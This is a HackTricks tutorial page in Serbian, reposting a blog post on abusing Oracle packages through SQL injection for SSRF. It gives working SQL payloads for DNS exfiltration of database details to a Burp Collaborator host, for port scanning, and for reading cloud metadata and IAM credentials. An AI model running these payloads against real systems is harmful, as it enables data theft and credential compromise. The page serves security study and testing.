Oracle injection

Support HackTricks

Poslužite se ovim postom kao kopijom iz wayback mašine obrisanog posta sa https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Korišćenje Oracle-a za slanje Out of Band HTTP i DNS zahteva je dobro dokumentovano, ali kao sredstvo za ekfiltraciju SQL podataka u injekcijama. Uvek možemo modifikovati ove tehnike/funkcije da bismo uradili druge SSRF/XSPA.

Instalacija Oracle-a može biti zaista bolna, posebno ako želite da postavite brzu instancu da isprobate komande. Moj prijatelj i kolega iz Appsecco, Abhisek Datta, ukazao mi je na https://github.com/MaksymBilenko/docker-oracle-12c koji mi je omogućio da postavim instancu na t2.large AWS Ubuntu mašini i Docker-u.

Pokrenuo sam docker komandu sa --network="host" flag-om kako bih mogao da imitiram Oracle kao nativnu instalaciju sa punim pristupom mreži, tokom ovog blog posta.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Oracle пакети који подржавају спецификацију URL-а или Име хоста/Број порта

Да бих пронашао било које пакете и функције које подржавају спецификацију хоста и порта, извршио сам Google претрагу на Oracle Database Online Documentation. Конкретно,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Pretraga je vratila sledeće rezultate (neki od njih se ne mogu koristiti za izvođenje izlazne mreže)

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_SCHEDULER

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

Ova gruba pretraga očigledno preskočuje pakete kao što je DBMS_LDAP (koji omogućava prosleđivanje imena hosta i broja porta) jer stranica sa dokumentacijom jednostavno upućuje na drugu lokaciju. Stoga, može postojati još Oracle paketa koji se mogu zloupotrebiti za slanje izlaznih zahteva, a koje sam možda propustio.

U svakom slučaju, hajde da pogledamo neke od paketa koje smo otkrili i naveli iznad.

DBMS_LDAP.INIT

Paket DBMS_LDAP omogućava pristup podacima sa LDAP servera. Funkcija init() inicijalizuje sesiju sa LDAP serverom i uzima ime hosta i broj porta kao argument.

Ova funkcija je ranije dokumentovana da prikazuje eksfiltraciju podataka preko DNS-a, kao ispod

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Međutim, s obzirom na to da funkcija prihvata ime hosta i broj porta kao argumente, možete to koristiti da funkcioniše kao skener portova.

Evo nekoliko primera

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

A ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. pokazuje da je port zatvoren dok vrednost sesije ukazuje na to da je port otvoren.

UTL_SMTP

Paket UTL_SMTP je dizajniran za slanje e-mailova preko SMTP-a. Primer dat na Oracle dokumentacionom sajtu pokazuje kako možete koristiti ovaj paket za slanje e-maila. Za nas, međutim, zanimljivo je to što omogućava da se navedu host i specifikacija porta.

Grubi primer je prikazan ispod sa funkcijom UTL_SMTP.OPEN_CONNECTION, sa vremenskim ograničenjem od 2 sekunde.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

A ORA-29276: transfer timeout pokazuje da je port otvoren, ali nije uspostavljena SMTP veza, dok ORA-29278: SMTP transient error: 421 Service not available pokazuje da je port zatvoren.

UTL_TCP

Paket UTL_TCP i njegove procedure i funkcije omogućavaju TCP/IP baziranu komunikaciju sa servisima. Ako je programiran za određeni servis, ovaj paket može lako postati način za pristup mreži ili izvršiti potpune Server Side Requests, jer se svi aspekti TCP/IP veze mogu kontrolisati.

Primer na Oracle dokumentacionom sajtu pokazuje kako možete koristiti ovaj paket za uspostavljanje sirove TCP veze za preuzimanje web stranice. Možemo ga malo pojednostaviti i koristiti za slanje zahteva na instancu metapodataka, na primer, ili na proizvoljni TCP/IP servis.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Zanimljivo je da, zbog sposobnosti kreiranja sirovih TCP zahteva, ovaj paket se takođe može koristiti za upit usluge meta-podataka Instance svih provajdera u oblaku, jer se tip metode i dodatni zaglavlja mogu proslediti unutar TCP zahteva.

UTL_HTTP i Web Zahtevi

Možda je najčešća i najšire dokumentovana tehnika u svakom tutorijalu o Out of Band Oracle SQL Injection UTL_HTTP paket. Ovaj paket je definisan u dokumentaciji kao - UTL_HTTP paket omogućava Hypertext Transfer Protocol (HTTP) pozive iz SQL i PL/SQL. Možete ga koristiti za pristup podacima na Internetu preko HTTP-a.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Možete dodatno koristiti ovo za izvođenje nekih rudimentarnih skeniranja portova sa upitima kao što su

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

ORA-12541: TNS:no listener ili TNS:operation timed out je znak da je TCP port zatvoren, dok je ORA-29263: HTTP protocol error ili podaci znak da je port otvoren.

Drugi paket koji sam koristio u prošlosti sa različitim uspehom je GETCLOB() metoda HTTPURITYPE Oracle apstraktnog tipa koja vam omogućava interakciju sa URL-om i pruža podršku za HTTP protokol. GETCLOB() metoda se koristi za preuzimanje GET odgovora sa URL-a kao CLOB tip podataka.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

Support HackTricks

Last updated